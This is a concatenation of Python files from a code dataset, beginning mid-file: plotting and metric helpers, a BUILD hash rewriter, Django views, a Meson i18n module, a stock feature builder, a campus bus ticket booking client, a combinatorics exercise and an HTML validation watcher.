plt.subplots()\nr.groupby('Country')['Total_Remittance'].sum().plot(kind='bar')\nplt.ylabel('Remittance Amount (USD)')\nplt.title('Graph-2: Remittance Inflow by the Location of Expatriates')\n# save graph 2\nfig2.savefig('Graph-2.png', transparent=False, dpi=90, bbox_inches=\"tight\")\n\n# Graph 3\nfig3, ax = plt.subplots()\nplt.scatter(r['Level of Education'], np.log(r['Total_Remittance']), alpha=0.15,\n            marker='o')\nplt.plot(np.unique(r['Level of Education']),\n         np.poly1d(np.polyfit(r['Level of Education'],\n                              np.log(r['Total_Remittance']), 1))\n         (np.unique(r['Level of Education'])),color='Black', \n         linestyle=\"--\", linewidth=2)\nplt.scatter(r['Level of Education'], np.log(r['Total_Remittance']), \n            alpha=0.15, marker='o')\nplt.ylabel('Remittance (Log)')\nplt.xlabel('Level of Education (Years)')\nplt.title('Graph-3: Remittance and Level of Education')\n# save graph 3\nfig3.savefig('Graph-3.png', transparent=False, dpi=90, bbox_inches=\"tight\")","sub_path":"ProblemSets/ProblemSet5/PS5_Chowdhury.py","file_name":"PS5_Chowdhury.py","file_ext":"py","file_size_in_byte":3312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"169670158","text":"import torch\nimport numpy as np\nfrom sklearn import metrics\nfrom sklearn.metrics import log_loss\n\n# https://www.kaggle.com/c/rfcx-species-audio-detection/discussion/198418#1086063\ndef _one_sample_positive_class_precisions(scores, truth):\n    num_classes = scores.shape[0]\n    pos_class_indices = np.flatnonzero(truth > 0)\n\n    if not len(pos_class_indices):\n        return pos_class_indices, np.zeros(0)\n\n    retrieved_classes = np.argsort(scores)[::-1]\n\n    class_rankings = np.zeros(num_classes, dtype=np.int)\n    class_rankings[retrieved_classes] = range(num_classes)\n\n    retrieved_class_true = np.zeros(num_classes, dtype=np.bool)\n    retrieved_class_true[class_rankings[pos_class_indices]] = True\n\n    retrieved_cumulative_hits = np.cumsum(retrieved_class_true)\n\n    precision_at_hits = (\n            retrieved_cumulative_hits[class_rankings[pos_class_indices]] /\n            (1 + class_rankings[pos_class_indices].astype(np.float)))\n    return pos_class_indices, precision_at_hits\n\ndef lwlrap(truth, scores):\n    assert truth.shape == scores.shape\n    num_samples, num_classes = scores.shape\n    precisions_for_samples_by_classes = np.zeros((num_samples, num_classes))\n    for sample_num in range(num_samples):\n        pos_class_indices, precision_at_hits = _one_sample_positive_class_precisions(scores[sample_num, :], truth[sample_num, :])\n        precisions_for_samples_by_classes[sample_num, pos_class_indices] = precision_at_hits\n\n    labels_per_class = np.sum(truth > 0, axis=0)\n    weight_per_class = labels_per_class / float(np.sum(labels_per_class))\n\n    per_class_lwlrap = (np.sum(precisions_for_samples_by_classes, axis=0) /\n                        np.maximum(1, labels_per_class))\n    return per_class_lwlrap, weight_per_class\n\nclass AverageMeter(object):\n    \"\"\"Computes and stores the average and current value\"\"\"\n\n    def __init__(self):\n        self.reset()\n\n    def reset(self):\n        self.val = 0\n        self.avg = 0\n        self.sum = 0\n        self.count = 0\n\n    def update(self, val, n=1):\n        self.val = val\n        self.sum += val * n\n        self.count += n\n        self.avg = self.sum / self.count\n\nclass MetricMeter(object):\n    def __init__(self):\n        self.reset()\n    \n    def reset(self):\n        self.y_true = []\n        self.y_pred = []\n    \n    def update(self, y_true, y_pred):\n        self.y_true.extend(y_true.cpu().detach().numpy().tolist())\n        self.y_pred.extend(torch.sigmoid(y_pred).cpu().detach().numpy().tolist())\n\n    @property\n    def avg(self):\n        \n        score_class, weight = lwlrap(np.array(self.y_true), np.array(self.y_pred))\n        self.score = (score_class * weight).sum()\n\n        return {\n            \"lwlrap\" : self.score\n        }\n","sub_path":"BASELINE/Utils.py","file_name":"Utils.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"204760029","text":"\"\"\"A Python script to rewrite hashes in BUILD files.\"\"\"\n\nimport ast\n\n\n# These are templated in by Go. It's a bit hacky but is a way of avoiding\n# passing arbitrary arguments through Go / C calls.\nFILENAME = '__FILENAME__'\nTARGETS = {__TARGETS__}\nPLATFORM = '__PLATFORM__'\n\n\ndef is_a_target(node):\n    \"\"\"Returns the name of a node if it's a target that we're interested in.\"\"\"\n    if isinstance(node, ast.Expr) and isinstance(node.value, ast.Call):\n        for keyword in node.value.keywords:\n            if keyword.arg == 'name':\n                if isinstance(keyword.value, ast.Str) and keyword.value.s in TARGETS:\n                    return keyword.value.s\n\n\ndef replace_hash(line, before, after):\n    \"\"\"Rewrites a hash within one particular line. Returns updated line.\"\"\"\n    quote = lambda s, q: q + s + q\n    return line.replace(quote(before, '\"'), quote(after, '\"')).replace(quote(before, \"'\"), quote(after, \"'\"))\n\n\nwith _open(FILENAME) as f:\n    lines = f.readlines()\n    tree = ast.parse(''.join(lines), filename=FILENAME)\n\nfor node in ast.iter_child_nodes(tree):\n    name = is_a_target(node)\n    if name:\n        for keyword in node.value.keywords:\n            if keyword.arg == 'hashes' and isinstance(keyword.value, ast.List):\n                # lineno - 1 because lines in the ast are 1-indexed\n                candidates = {dep.s: dep.lineno - 1 for dep in keyword.value.elts\n                              if isinstance(dep, ast.Str)}\n                # Filter by any leading platform (i.e. linux_amd64: abcdef12345).\n                platform_candidates = {k: v for k, v in candidates.items() if PLATFORM in k}\n                prefix = ''\n                if len(platform_candidates) == 1:\n                    candidates = platform_candidates\n                    prefix = PLATFORM + ': '\n                # Should really do something here about multiple hashes and working out which\n                # is which...\n                current, lineno = candidates.popitem()\n                prefix, colon, _ = current.rpartition(':')\n                if colon:\n                    colon += ' '\n                lines[lineno] = replace_hash(lines[lineno], current, prefix + colon + TARGETS[name])\n            elif keyword.arg == 'hash' and isinstance(keyword.value, ast.Str):\n                lineno = keyword.value.lineno - 1\n                current = keyword.value.s\n                prefix = current[:current.find(':') + 2] if ': ' in current else ''\n                lines[lineno] = replace_hash(lines[lineno], current, prefix + TARGETS[name])\n\n\nwith _open(FILENAME, 'w') as f:\n    for line in lines:\n        f.write(line)\n","sub_path":"src/hashes/hash_rewriter.py","file_name":"hash_rewriter.py","file_ext":"py","file_size_in_byte":2625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"351405357","text":"from django.conf.urls import url\n\nfrom . import views\n\n\napp_name = 'projects'\nurlpatterns = [\n    url(r'^(?P<pa_code>\\w+)/(?P<pca_code>\\w+)-(?P<cpa_id>\\d+)$', views.worklogs, name='worklogs'),\n    url(r'^(?P<pa_code>\\w+)/(?P<pca_code>\\w+)-(?P<cpa_id>\\d+)/(?P<pwa_id>\\d+)$', views.detail, name='detail'),\n    # url(r'^(?P<pa_code>\\w+)/(?P<pca_code>\\w+)-(?P<cpa_id>\\d+)/(?P<pwa_id>\\d+)/edit$', views.edit_worklog, name='edit_worklog'),\n    # url(r'^save$', views.save_worklog, name='save_worklog'),\n]\n","sub_path":"soloist/apps/projects/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"408573099","text":"# from .models import Question\n# from django.http import HttpResponse\n\nfrom django.shortcuts import render, get_object_or_404\nfrom .forms import PostForm\nfrom django.template import loader\nfrom django.utils import timezone\nfrom .models import Post\nfrom django.shortcuts import redirect\n\n# def index(request):\n\n    # return HttpResponse(\"Hello, world. You're at the polls index.\")\n# def detail(request, question_id):\n   # return HttpResponse(\"You're looking at question %s.\" % question_id)\n# def results(request, question_id):\n\n   # response = \"You're looking at the results of question %s.\"\n   # return HttpResponse(response % question_id)\n# def vote(request, question_id):\n #  return HttpResponse(\"You're voting on question %s.\" % question_id)\n# def index(request):\n  #  latest_question_list = Question.objects.order_by('-pub_date')[:5]\n  #  template = loader.get_template('polls/index.html')\n  #  context = { 'latest_question_list': latest_question_list, }\n\n    # return HttpResponse(template.render(context, request))\n\n#Post.objects.get(pk=pk)\n# ----------------------------------------//-------------------------------------------------------\n\n\ndef post_list(request):\n\n      post = Post.objects.filter( published_date__lte=timezone.now()).order_by('published_date')\n      return render(request, 'polls/postlist.html', {'post': post})\n\n# ----------------------------------------//-------------------------------------------------------\n\n\ndef post_detail(request, pk):\n     \n     post = get_object_or_404(Post, pk=pk)\n     return render(request, 'polls/post_detail.html', {'post': post})\n\n# ----------------------------------------//-------------------------------------------------------\n\n\ndef post_new(request):\n\n\n     if request.method == \"POST\":\n         form = PostForm(request.POST)\n         if form.is_valid():\n             post = form.save(commit=False)\n             post.author = request.user\n             post.published_date = timezone.now()\n             post.save()\n             return redirect('post_detail', pk=post.pk)\n     else:\n         form = PostForm()\n     return render(request, 'polls/post_edit.html', {'form': form})\n\n   \n        \n# ----------------------------------------//-------------------------------------------------------\n\ndef post_edit(request, pk):\n     post = get_object_or_404(Post, pk=pk)\n     if request.method == \"POST\":\n         form = PostForm(request.POST, instance=post)\n         if form.is_valid():\n             post = form.save(commit=False)\n             post.author = request.user\n             post.published_date = timezone.now()\n             post.save()\n             return redirect('post_detail', pk=post.pk)\n     else:\n         form = PostForm(instance=post)\n     return render(request, 'polls/post_edit.html', {'form': form})\n","sub_path":"polls/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"334188934","text":"# Copyright 2016 The Meson development team\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n#     http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom .. import coredata, mesonlib, build\nimport sys\n\nclass I18nModule:\n\n    def gettext(self, state, args, kwargs):\n        if len(args) != 1:\n            raise coredata.MesonException('Gettext requires one positional argument (package name).')\n        packagename = args[0]\n        languages = mesonlib.stringlistify(kwargs.get('languages', []))\n        if len(languages) == 0:\n            raise coredata.MesonException('List of languages empty.')\n        datadirs = mesonlib.stringlistify(kwargs.get('data_dirs', []))\n        extra_args = mesonlib.stringlistify(kwargs.get('args', []))\n\n        pkg_arg = '--pkgname=' + packagename\n        lang_arg = '--langs=' + '@@'.join(languages)\n        datadirs = '--datadirs=' + ':'.join(datadirs) if datadirs else None\n        extra_args = '--extra-args=' + '@@'.join(extra_args) if extra_args else None\n\n        potargs = [state.environment.get_build_command(), '--internal', 'gettext', 'pot', pkg_arg]\n        if datadirs:\n            potargs.append(datadirs)\n        if extra_args:\n            potargs.append(extra_args)\n        pottarget = build.RunTarget(packagename + '-pot', sys.executable, potargs, [], state.subdir)\n\n        gmoargs = [state.environment.get_build_command(), '--internal', 'gettext', 'gen_gmo', lang_arg]\n        gmotarget = build.RunTarget(packagename + '-gmo', sys.executable, gmoargs, [], state.subdir)\n\n        updatepoargs = [state.environment.get_build_command(), '--internal', 'gettext', 'update_po', pkg_arg, lang_arg]\n        if datadirs:\n            updatepoargs.append(datadirs)\n        if extra_args:\n            updatepoargs.append(extra_args)\n        updatepotarget = build.RunTarget(packagename + '-update-po', sys.executable, updatepoargs, [], state.subdir)\n\n        installcmd = [sys.executable, state.environment.get_build_command(),\n                      '--internal', 'gettext', 'install',\n                      '--subdir=' + state.subdir,\n                      '--localedir=' + state.environment.coredata.get_builtin_option('localedir'),\n                      pkg_arg, lang_arg]\n        iscript = build.InstallScript(installcmd)\n\n        return [pottarget, gmotarget, iscript, updatepotarget]\n\ndef initialize():\n    return I18nModule()\n","sub_path":"mesonbuild/modules/i18n.py","file_name":"i18n.py","file_ext":"py","file_size_in_byte":2814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"614410186","text":"from sa.common import get_ms_ticker_names, find_small_cap_tickers\nfrom sa.tools.features import Features\nfrom sa.tools.returncalc import ReturnCalculator\nfrom sa.logger import LOGGER\n\nimport os\nimport numpy as np\n\nfrom sklearn.preprocessing import Imputer\n\nclass FeatureHelper():\n    def __init__(self, session):\n        self.dir_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'cache')\n        self.file_path = os.path.join(self.dir_path, 'features.npz')\n        self.sess = session\n        self.ff = Features()\n\n    def fetch_feature_data(self):\n        if not os.path.isfile(self.file_path):\n            self.generate_and_save_feature_data()\n\n        npz = np.load(self.file_path)\n\n        return tuple(npz[a] for a in ('train_data', 'train_targets', 'test_data', 'test_targets'))\n\n    def fetch_binary_feature_data(self, p=None):\n        train_data, train_targets, test_data, test_targets = self.fetch_feature_data()\n\n        median = np.median(train_targets)\n        print('meadian is ', median)\n        train_targets = np.array([t >= median for t in train_targets])\n        test_targets = np.array([t >= median for t in test_targets])\n\n        return train_data, train_targets, test_data, test_targets\n\n    def fetch_feature_tickers(self):\n        npz = np.load(self.file_path)\n\n        return npz['train_ticker_names'], npz['test_ticker_names']\n\n    def screen_and_save_feature_data(self):\n        train_ticker_names, test_ticker_names = self.fetch_feature_tickers()\n        train_data, train_targets, test_data, test_targets = self.fetch_feature_data()\n\n        tickers = set(find_small_cap_tickers(self.sess)) # finds ticker < 10m value\n        train_rm_indexes = []\n        for i, (ticker, target) in enumerate(zip(train_ticker_names, train_targets)):\n            if target > 10 or ticker in tickers:\n                train_rm_indexes.append(i)\n        test_rm_indexes = []\n        for i, (ticker, target) in enumerate(zip(test_ticker_names, test_targets)):\n            if target > 10 or ticker in tickers:\n                test_rm_indexes.append(i)\n\n        train_ticker_names = np.delete(train_ticker_names, train_rm_indexes, axis=0)\n        train_data = np.delete(train_data, train_rm_indexes, axis=0)\n        train_targets = np.delete(train_targets, train_rm_indexes, axis=0)\n        test_ticker_names = np.delete(test_ticker_names, test_rm_indexes, axis=0)\n        test_data = np.delete(test_data, test_rm_indexes, axis=0)\n        test_targets = np.delete(test_targets, test_rm_indexes, axis=0)\n\n        LOGGER.info(\"Saving file at: {}\".format(self.file_path))\n\n        np.savez(self.file_path,\n                 train_data = train_data, train_targets = train_targets,\n                 train_ticker_names = train_ticker_names, test_data = test_data,\n                 test_targets = test_targets, test_ticker_names = test_ticker_names)\n\n    def fetch_feature_names(self):\n        return self.ff.ms_key_stats_cols\n\n    def generate_and_save_feature_data(self, independent=True):\n        rc = ReturnCalculator()\n\n        ticker_names = sorted(get_ms_ticker_names(self.sess, \"TSX\"))\n        num_tickers = len(ticker_names)\n\n        train_data, train_targets = [], []\n        train_ticker_names = []\n        test_data, test_targets = [], []\n        test_ticker_names = []\n\n        imp = Imputer(missing_values='NaN', strategy='mean', axis=0)\n\n        for i, t in enumerate(ticker_names, 1):\n            LOGGER.info(\"[{:d}/{:d}] Working on {}...\".format(i, num_tickers, t))\n\n            dates = self.ff.ms_key_stats_date(self.sess, t)\n\n            if len(dates) < 1:\n                continue\n\n            date_gap = dates[1] - dates[0] if len(dates) > 2 else timedelta(days=365)\n            last_date = dates[-1]\n\n            rows = self.ff.ms_key_stats_data(self.sess, t)\n\n            if not independent:\n                # Window sliding for time series\n                empty_row = tuple((None,)) * len(rows[0])\n                new_rows = []\n                for i in range(len(rows)):\n                    first_part = rows[i-1] if i > 0 else empty_row\n                    second_part = rows[i]\n                    new_rows.append(first_part + second_part)\n                rows = new_rows\n\n            # Add the start date to the list of dates\n            return_dates = [dates[0] - date_gap] + dates\n\n            returns = rc.calculate_return_between_dates(t, return_dates)\n            for row, date, ret in zip(rows, dates, returns):\n                if ret is None: # if return date are out of range\n                    continue\n\n                if date == last_date:\n                    test_data.append(row)\n                    test_targets.append(ret)\n                    test_ticker_names.append(t)\n                else:\n                    train_data.append(row)\n                    train_targets.append(ret)\n                    train_ticker_names.append(t)\n\n        # Convert the python lists to numpy arrays and fill missing values\n        train_data = np.array(train_data, dtype=np.float)\n        imp = imp.fit(train_data)\n\n        train_ticker_names = np.array(train_ticker_names, dtype=np.str)\n        train_data = imp.transform(train_data)\n        train_targets = np.array(train_targets, dtype=np.float)\n        test_ticker_names = np.array(test_ticker_names, dtype=np.str)\n        test_data = imp.transform(np.array(test_data, dtype=np.float))\n        test_targets = np.array(test_targets, dtype=np.float)\n\n        if not os.path.exists(self.dir_path):\n            os.makedirs(self.dir_path)\n\n        LOGGER.info(\"Saving file at: {}\".format(self.file_path))\n\n        np.savez(self.file_path,\n                 train_data = train_data, train_targets = train_targets,\n                 train_ticker_names = train_ticker_names, test_data = test_data,\n                 test_targets = test_targets, test_ticker_names = test_ticker_names)\n\n\nif __name__ == \"__main__\":\n    from sa.database import Session\n\n    sess = Session()\n    fc = FeatureHelper(sess)\n    fc.generate_and_save_feature_data(independent=False)\n    fc.screen_and_save_feature_data()\n\n","sub_path":"src/bots/feature_helper.py","file_name":"feature_helper.py","file_ext":"py","file_size_in_byte":6080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"399040587","text":"from commom import cfg as ucasbus_cfg\nfrom crawl2.spider import *\nfrom crawl2.utils import *\nimport os, time, json\nimport numpy as np\nfrom tools import *\nimport threading\nfrom certcode.init import *\n\nname_re = re.compile(\n        '<li>你好，<a class=\"c4\"  href=\"#\">(.*?)</a></li>', re.S)\n\nurlcode_re = re.compile('toUtf8(.*?);')\n\ndef keep_alive(eric):\n    while True:\n        time.sleep(np.random.randint(300, 500))\n        if eric.finished:\n            return\n        ret = eric.check()\n        if not ret:\n            res, msg, data = auto_recognition_attemps(eric, attemps=5)\n            if res == 0 and data[0] == eric.realname:\n                pass\n            else:\n                eric._login = False\n\nclass Eric(object):\n    def __init__(self, username):\n        self.username = username\n        self.page_limit = ucasbus_cfg.page_limit\n        self._login = True\n        self.cache = Cache(ucasbus_cfg.cache_path)\n        self.route_list_cache = Cache(ucasbus_cfg.route_list_path)\n        self.user_cache = Cache(\\\n                os.path.join(ucasbus_cfg.users_path, username))\n        self.spider = Spider(encoding='utf-8')\n        self.load()\n        self.finished = False\n        self.keep_alive = threading.Thread(target=keep_alive, args=(self, ))\n        # self.keep_alive.start()\n\n    def finish(self):\n        self.save()\n        self.finished = True\n        # self.keep_alive.join()\n\n    def check(self):\n        response = self.spider.get('http://payment.ucas.ac.cn/NetWorkUI/showPublic')\n        if response:\n            return self.realname in response.text\n        return False\n\n    def load(self):\n        self.page = self.user_cache.load('page')\n        if not isinstance(self.page, list):\n            self.page = []\n        self.lock = self.user_cache.load('lock')\n        if self.lock == None or not isinstance(self.lock, bool):\n            self.lock = False\n        self.realname = self.user_cache.load('realname')\n        if not self.realname:\n            self.realname = 'Unknown'\n        \n    def query_remain(self, data):\n        url = 'http://payment.ucas.ac.cn/NetWorkUI/queryRemainingSeats'\n        response = self.spider.post(url, data)\n        try:\n            return '剩余 %s' % response.json()['returndata']['freeseat']\n        except:\n            return ''\n\n\n    def save(self):\n        self.user_cache.save(self.page, 'page')\n        self.user_cache.save(self.lock, 'lock')\n        self.user_cache.save(self.realname, 'realname')\n\n    def del_page(self, page):\n        if page >= 0 and page < len(self.page):\n            self.page[page]['active'] = False\n        return self.touch_page()\n\n    def new_page(self):\n        n = len(self.page)\n        for i in range(n):\n            if not self.page[i]['active']:\n                self.page[i] = {'status': 1, 'active': True}\n                return i\n        if n >= self.page_limit:\n            return -1\n        self.page.append({'status': 1, 'active': True})\n        return n\n\n    def touch_page(self, page=-1):\n        if page >= 0 and page < len(self.page) and \\\n                self.page[page]['active']:\n            return page\n        for i in range(len(self.page)):\n            if self.page[i]['active']:\n                return i\n        return self.new_page()\n\n    def get_certcode(self, prefix=False):# {{{\n        url = 'http://payment.ucas.ac.cn/NetWorkUI/authImage'\n        name = hash_func('{}{}'.format(self.username, time.time()))+'.jpg'\n        certcode_path = os.path.join(ucasbus_cfg.static_folder, name)\n        response = self.spider.get(url)\n        if not response:\n            return ''\n        with open(certcode_path, 'wb') as f:\n            f.write(response.content)\n        return certcode_path if prefix else name\n    # }}}\n    def login(self, certcode):# {{{\n        msg = []\n        url = 'http://payment.ucas.ac.cn/NetWorkUI/fontuserLogin'\n        data = self.user_cache.load('login')\n        data['checkCode'] = certcode\n        response = self.spider.post(url, data=data)\n\n        if not response:\n            msg += ['[ERR] 登录失败，服务器未响应。']\n            return 1, msg, None\n\n        name = name_re.findall(response.text)\n        if len(name) == 0:\n            msg += ['[ERR] 登录失败，信息错误。']\n            return 9, msg, None\n        else:\n            name = name[0]\n            msg += ['[SUC] %s 成功登录！' % name]\n            return 0, msg, [name]\n    # }}}\n    def get_route(self, date, cache):# {{{\n        url = 'http://payment.ucas.ac.cn/NetWorkUI/queryBusByDate'\n        route_list = self.route_list_cache.load(date)\n        msg = []\n        if not route_list or not cache:\n            data = {\n                'bookingdate': date,\n                'factorycode': 'R001',\n            }\n            response = self.spider.post(url, data=data)\n            if not response:\n                msg += ['[ERR] 获取路线失败，服务器未响应。']\n                return 1, msg, None\n            try:\n                data = response.json()\n            except:\n                msg += ['[ERR] 获取路线失败，返回结果无法 json 化。']\n                return 3, msg, None\n            try:    \n                route_list = data['routelist']\n            except:\n                msg += ['[ERR] 获取路线失败，未找到 routelist 。']\n                msg += ['[ERR] json = {}'.format(data)]\n                return 4, msg, None\n\n            self.route_list_cache.save(route_list, date)\n        return 0, msg, [route_list]\n    # }}}\n    def calc_time(self, *, \\\n            delta=ucasbus_cfg.delta, timezone=8, debug=None):# {{{\n        cur = time.time()\n        if debug:\n            return debug + cur\n        t = 18 * 3600 + delta - (cur + timezone * 3600) % 86400\n        if t < 0:\n            t += 86400\n        return int(t + cur)\n    # }}}\n    def check_realname(self, step, response):# {{{\n        msg = []\n        data = name_re.findall(response.text)\n        if len(data) == 1 and data[0] == self.realname:\n            return 0, msg\n        else:\n            names = json.dumps(data)\n            msg += ['[ERR] #{}: \\'{}\\' 用户不匹配 {}'.format(step, names, self.realname)]\n            return step * 10 + 2, msg\n    # }}}\n    def send_order(self, route, date):# {{{\n        msg = []\n        data = {\n            'routecode': route,  #   You need change\n            'payAmt': '6.00',\n            'bookingdate': date,    #   You need change\n            'payProjectId': '4',        \n            'tel': self.user_cache.load('tel'),\n            'factorycode': 'R001',\n        }\n        url = 'http://payment.ucas.ac.cn/NetWorkUI/reservedBusCreateOrder'\n        response = self.spider.post(url, data)\n\n        if not response:\n            msg += ['[ERR] #1: 服务器未响应。']\n            return 11, msg, None\n        try:\n            information = response.json()\n        except:\n            msg += ['[ERR] #1: 返回结果无法 json 化。']\n            return 13, msg, None\n\n        try:\n            ret = information['returncode']\n            orderno = information['payOrderTrade']['orderno']\n            msg += ['[SUC] #1: 获取订单号[{}]， 订单信息：{}, {}, {}'.format(orderno, data['bookingdate'][0], data['routecode'][0], data['tel'])]\n            return 0, msg, [orderno]\n        except:\n            msg += ['[ERR] #1:  未找到 returncode 或 payOrderTrade->orderno 字段!']\n            msg += ['[ERR] #1: json={}'.format(information)]\n            return 14, msg, None\n\n        msg += ['[ERR] step #1: json={}'.format(information)]\n        return 19, msg, None\n    # }}}\n    def send_orderno(self, orderno):# {{{\n        msg = []\n        data = {\n            'orderno': orderno,\n            'orderamt': '6.00',\n            'payType': '03',\n            'mess': '',\n            'start_limittxtime': '',\n            'end_limittxtime': '',\n        }\n        url = 'http://payment.ucas.ac.cn/NetWorkUI/onlinePay'\n        response = self.spider.post(url, data=data)\n\n        if not response:\n            msg += ['[ERR] #2:  服务器未响应。']\n            return 21, msg, None\n        \n        ret, log = self.check_realname(2, response)\n        msg += log\n        if ret != 0:\n            return ret, msg, None\n        # msg += ['[SUC] #2: 成功发送订单: {}！'.format(orderno)]\n        return 0, msg, None\n    # }}}\n    def request_wechat_urlcode(self, orderno):# {{{\n        msg = []\n        url = 'http://payment.ucas.ac.cn/NetWorkUI/weixinPayAction?orderno=%s'%orderno\n        response = self.spider.get(url)\n\n        if not response:\n            msg += ['[ERR] #3: 服务器未响应！']\n            return 31, msg, None\n\n        ret, log = self.check_realname(3, response)\n        msg += log\n        if ret != 0:\n            return ret, msg, None\n\n        try:\n            urlcode = urlcode_re.findall(response.text)[0][2:-2]\n        except:\n            msg += ['[ERR] #3: urlcode 字段缺失！']\n            return 35, msg, None\n        msg += ['[SUC] #3: 成功获从订单[{}]中获取urlcode[{}]！'.format(orderno, urlcode)]\n        return 0, msg, [urlcode]\n    # }}}\n    def get_ucas_qrcode(self, urlcode):# {{{\n        msg = []\n        data = {\n            'msgCode': 'SUCCESS',\n            'weixinMessage': '??',\n            'urlCode': urlcode,\n            'key': 'TkVUV09SS1BBWWtleQ==',\n        }\n        url = 'http://payment.ucas.ac.cn/NetWorkUI/weiXinQRCode?'\n        for key, value in data.items():\n            url = url + key + '=' + value + '&'\n        response = self.spider.get(url)\n\n        if not response:\n            msg += ['[ERR] #4: 服务器未响应！']\n            return 41, msg, None\n\n        ret, log = self.check_realname(4, response)\n        msg += log\n        if ret != 0:\n            return ret, msg, None\n\n        text = response.text.replace('src=\"/NetWork', 'src=\"http://payment.ucas.ac.cn/NetWork')\n        msg += ['[SUC] 成功生成二维码，根据urlcode[{}]！'.format(urlcode)]\n        return 0, msg, [text]\n    # }}}\n    def buy(self, route, date):# {{{\n        msg = ['[LOG] 开始购票。']\n        '''\n            send order\n        '''\n        ret, log, data = self.send_order(route, date)\n        msg += log\n        if ret != 0:\n            return ret, msg, None\n        orderno = data[0]\n\n\n        ret, log, data = self.send_orderno(orderno)\n        msg += log\n        if ret != 0:\n            return ret, msg, None\n\n            \n        ret, log, data = self.request_wechat_urlcode(orderno)\n        msg += log\n        if ret != 0:\n            return ret, msg, None\n        urlcode = data[0]\n\n        ret, log, data = self.get_ucas_qrcode(urlcode)\n        msg += log\n        if ret != 0:\n            return ret, msg, None\n        html = data[0]\n\n        return 0, msg, [urlcode]\n    # }}}\n","sub_path":"eric.py","file_name":"eric.py","file_ext":"py","file_size_in_byte":10775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"219192539","text":"import time\nimport sys\ninput = sys.stdin.readline\n\nn, k = list(map(int, input().split()))\ndiv = 1000000007\n\ndef is_over(num):\n    if(num >= div):\n        return True\n    return False\n\ndef get_div(num):\n    return num % div\n\ndef get_process(num1, num2):\n    if(is_over(num1)):\n        num1 = get_div(num1)\n    return num1 * num2\n\ndef get_result():\n    up = n\n    bottom = k\n    for i in range(1, k):\n        up = get_process(up, up-i)\n        bottom = get_process(bottom, bottom-i)\n\n    result = up//bottom\n    if(is_over(result)):\n        return get_div(result)\n\n    return get_div(result)\n\ns = time.time()\nprint(get_result())\nprint(time.time() - s)","sub_path":"by date/2021.03.15/11401.py","file_name":"11401.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"289632259","text":"import os\nimport subprocess\nimport shlex\nimport sys\nimport time\nimport logging\nfrom watchdog.observers import Observer\nfrom watchdog.events import PatternMatchingEventHandler\nimport shutil\n\nDEVELOPMENT_DIR = \"/Users/Jamie/Google Drive/CS4/WebTech/development/html/\"\nPRODUCTION_DIR = \"/Users/Jamie/Google Drive/CS4/WebTech/\"\n\ndef errorBeep():\n    # terminal alert\n    print('\\a')\n    # audible alert\n    duration = 0.2  # second\n    freq = 440  # Hz\n    os.system('play --no-show-progress --null --channels 1 synth %s sine %f' % (duration, freq))\n\ndef successBeep():\n    # terminal alert\n    print('\\a')\n    # audible alert\n    duration = 0.05  # second\n    freq0 = 600  # Hz\n    freq1 = 650  # Hz\n    os.system('play --no-show-progress --null --channels 1 synth %s sine %f' % (duration, freq0))\n    os.system('play --no-show-progress --null --channels 1 synth %s sine %f' % (duration, freq1))\n\n\nclass vnuValidation(PatternMatchingEventHandler):\n\n    def extractTargetPath(self, event):\n        if event.event_type == 'moved':\n            return event.dest_path\n        else:\n            return event.src_path\n\n    def runValidation(self, event):\n        target_file = os.path.split(self.extractTargetPath(event)) [1]\n\n\n        # new stuff\n        target_file_path = self.extractTargetPath(event)\n        splits = target_file_path.split('/')\n        mirror_file_path = '/'.join(splits[8:])\n        # new stuff\n\n\n        # run validation\n        target_path = \"/Users/Jamie/Google\\ Drive/CS4/WebTech/development/html/\" + mirror_file_path\n        arg_str = \"java -jar /Users/Jamie/Google\\ Drive/CS4/WebTech/validation/dist/vnu.jar \" + target_path\n        args = shlex.split(arg_str)\n        p_vnu = subprocess.run(args, stderr=subprocess.PIPE)\n        console_output = p_vnu.stderr.decode('utf-8')\n\n        if len(console_output) == 0:\n            # HTML passed - copy to public dir\n            source_path = DEVELOPMENT_DIR + mirror_file_path\n            destination_path = PRODUCTION_DIR +mirror_file_path\n            shutil.copyfile(source_path, destination_path)\n            print(\"Pass: %s\" %(target_file), '\\n')\n            successBeep()\n        else:\n            # HTML failed\n            errorBeep()\n            print(\"Error in: %s\" %(target_file),'\\n')\n            print(console_output)\n\n\n    def on_created(self, event):\n        self.runValidation(event)\n\n\n    def on_modified(self, event):\n        self.runValidation(event)\n\n    def on_moved(self, event):\n        self.runValidation(event)\n\n\nif __name__ == \"__main__\":\n    logging.basicConfig(level=logging.INFO,\n                        format='%(asctime)s - %(message)s',\n                        datefmt='%Y-%m-%d %H:%M:%S')\n    path = sys.argv[1] if len(sys.argv) > 1 else DEVELOPMENT_DIR\n\n    event_handler = vnuValidation(patterns=[\"*.html\"], ignore_patterns=[], ignore_directories=False)\n\n    observer = Observer()\n    observer.schedule(event_handler, path, recursive=True)\n    observer.start()\n    try:\n        while True:\n            time.sleep(1)\n    except KeyboardInterrupt:\n        observer.stop()\n    